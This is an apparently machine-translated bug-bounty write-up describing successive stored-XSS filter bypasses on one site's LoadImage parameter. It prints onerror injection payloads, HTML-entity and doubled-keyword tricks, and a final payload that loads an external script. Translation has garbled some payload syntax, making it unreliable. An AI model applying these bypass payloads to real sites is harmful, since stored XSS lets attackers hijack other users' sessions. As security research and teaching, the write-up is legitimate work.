One day I found a fault finding activity on a site, and I felt like an alternative Src was involved. This interesting XSS test process has taken place.
Start at 0 × 00
(Note 1) XSS not only exists in the intuitive location on the page, but may return information entered by all users to the page in different forms, therefore, it is more effective to directly operate data packets to search for XSS.
Go back to the site and there is a missing filter in one generated app of the site.
The sent data packet is as follows:
- Export & diyappid = 0210bd39-de98-4a1b-b855-4b0a0732894a
After testing, we found that the LoadImage parameter has not been filtered. This is the hidden input and output bit that I mentioned, and the final structure is as follows:
- LoadImage = XXXXX "% 20 onerror =" alert (1 )"
0 × 01 awakening
After reporting the vulnerability, the programmer woke up. Due to the impact of filtering the output of parameters related to other pages, it was impossible to directly filter "(double quotation marks) with rough encoding, instead, some filtering rules are used to prevent XSS attacks.
(Note 2) XSS bypass is generally aimed at the omission of the filter rules used by programmers, but the primary goal should be on the points not filtered by programmers, however, the possibility of bypassing is only possible if the rules are not rigorous.
After receiving a response from the customer service to confirm the vulnerability repair, I went back to this point again for testing and found an interesting situation.
Test code:
- LoadImage = XXXXX "% 20 onerror =" alert (1) "àClass = "appicon_img" src = "xxxxxx" *** (1)>
After this test case, it is found that the content after the space is processed once, alert is replaced with ***, and onerror = is deleted directly.
The analysis finds that the content after the space is deleted directly, and the onxxx is deleted directly.
Therefore, in combination with past experience, the case is used to try to bypass string replacement.
Test code:
- LoadImage = XXXXX "onerror =" alert (1) "àClass = "appicon_img" src = "xxxxxx" onerror = "*** (1 )">
Therefore, we use a browser feature to separate the double quotation marks from the following content during resolution, so in the source code:
- Class = "appicon_img" src = "xxxxxx" onerror = "*** (1 )">
The parsing process shows:
- Class = "appicon_img" src = "xxxxxx" onerror = "*** (1 )">(Add spaces automatically)
Then we need to construct our alert. (Only alert is what I want. Prompt and confirm are not what I want .)
Here we will talk about the use of transcoding.
For details, refer:
Http://drops.wooyun.org/tips/689
Strings in the HTML context are decoded first, while those in the onxxxx, javascript:, script, and other tags are in the JavaScript context. The variable string is decoded once by using JavaScript.
With this feature, we can use HTML encoding in the onerror event to construct any character, and the required character is &. Fortunately, this character is not filtered out. Therefore, I can use it to construct any character to bypass it.
Direct construction:
- LoadImage = XXXXX "onerror =" % 26 # x61lert (1 )"
0 × 02 kill
After the customer service is submitted again, and the repair is confirmed, another test is conducted, which continues to be interesting.
(Note 3) determining a filter rule is the first step to bypass the restriction. The known rule structure bypasses payload to generate the desired characters for the final purpose.
This is the general idea of bypassing rich texts.
Continue to check the new filter rules by entering different strings, and finally get several useful information:
- Src = "1" onerroonerrorr = r =/>=> Src = "1" onerror>
- Src = "1" onerror = "XXX"/>=> Src = "1" = "XXX"/>
I thought it would be like this:
- Src = "1" onerroonerrorr = r = onerror = "XXX"/>=> Src = "1"/>
Rules for preliminary analysis:
1. onxxx = will remove content between on and =
2. If there is a = sign, the system will check whether there is an on
3. Clear all content after tab % 20 (Space)
4. Click double quotation marks to stop deleting.
After calculating the above filter rules, you can start to construct payload.
Use src = "1" onerroonerrorr = r to generate an onerror.
% 0a (line feed) is used for segmentation, leading to ineffective filtering.
The entire payload is finally completed:
- Src = "1" onerroonerrorr = R % 0a = "prompt (/Just kidding! /)"/>
(If you don't care about alert this time, use the previous method .)
Finally:
Resolution is successful!
0 × 03 Exploitation
The complete XSS must be used together with other processes. To construct a complete payload, you still need to consider many situations, for example, the replacement of Key Strings, the maximum length allowed by the output point, and whether other users or administrators can be affected.
The final detection point contains a length of 262 characters, replacing the script, create, and other characters. However, it can be fully used by the recorded method.
Payload:
- /Src = "1" onerroonerrorr = R % 0a = "window. S = document. RE % 26 #61 teelement (string. fromch % 26 #61 RCODE (115,99, 114,105,112,116); window. s. src = string. fromcharcode (1, 2, 3, 4, 5, 6, 7, 8); document. body. % 26 #61 ppendchild (window. s )">
Even if your XSS platform URL is very long, you can use the short domain name compression method to reach a low level.
0 × 04 Summary
When looking for XSS, new users always have some blind spots and cannot fully obtain the user input bit and the output page of the point. For stored XSS, the output page is not limited to the current page.
The Code logic of the probe program is the root of bypassing. Although fuzz improves the efficiency, it is necessary to construct a specific statement to accurately discover the problem.
In addition, some insights can be written by gainover:
Http://zone.wooyun.org/content/1557
0 × 05
The last bypass was at 5.12. I don't know how programmers on the website will handle this problem.
Exp2: // a stored XSS from easy to difficult mining process